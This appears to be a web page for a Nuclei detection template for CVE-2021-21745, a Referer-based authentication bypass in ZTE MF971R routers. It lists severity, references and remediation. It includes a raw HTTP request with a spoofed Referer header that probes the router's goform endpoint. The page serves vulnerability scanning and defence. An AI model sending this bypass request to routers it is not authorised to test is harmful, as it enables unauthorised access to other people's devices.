ZTE MF971R - Referer authentication bypass

ID: CVE-2021-21745

Severity: medium

Author: gy741

Tags: cve2021,cve,zte,auth-bypass,router

Description

ZTE MF971R product has a Referer authentication bypass vulnerability. Without CSRF verification, an attackercoulduse this vulnerability to perform illegal authorization operations by sending a request to the user to click.

YAML Source

id: CVE-2021-21745

info:
  name: ZTE MF971R - Referer authentication bypass
  author: gy741
  severity: medium
  description: |
    ZTE MF971R product has a Referer authentication bypass vulnerability. Without CSRF verification, an attackercould
    use this vulnerability to perform illegal authorization operations by sending a request to the user to click.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the router.
  remediation: |
    Apply the latest firmware update provided by ZTE to fix the authentication bypass vulnerability.
  reference:
    - https://www.talosintelligence.com/vulnerability_reports/TALOS-2021-1317
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21745
    - https://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1019764
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 4.3
    cve-id: CVE-2021-21745
    cwe-id: CWE-352
    epss-score: 0.26168
    epss-percentile: 0.96722
    cpe: cpe:2.3:o:zte:mf971r_firmware:v1.0.0b05:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zte
    product: mf971r_firmware
  tags: cve2021,cve,zte,auth-bypass,router

http:
  - raw:
      - |
        GET /goform/goform_get_cmd_process?cmd=psw_fail_num_str HTTP/1.1
        Host: {{Hostname}}
        Referer: http://interact.sh/127.0.0.1.html

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'psw_fail_num_str":"[0-9]'

      - type: status
        status:
          - 200
# digest: 490a0046304402203f32a128f68113205b8f75c99295aded98661aa0420ba04270f8b190ad65c5f202201dd41ddf68fd3cc7e0cfc23cf8138e800d57d1fa686bc98e67a597ce01db2ace:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-21745.yaml"

View on Github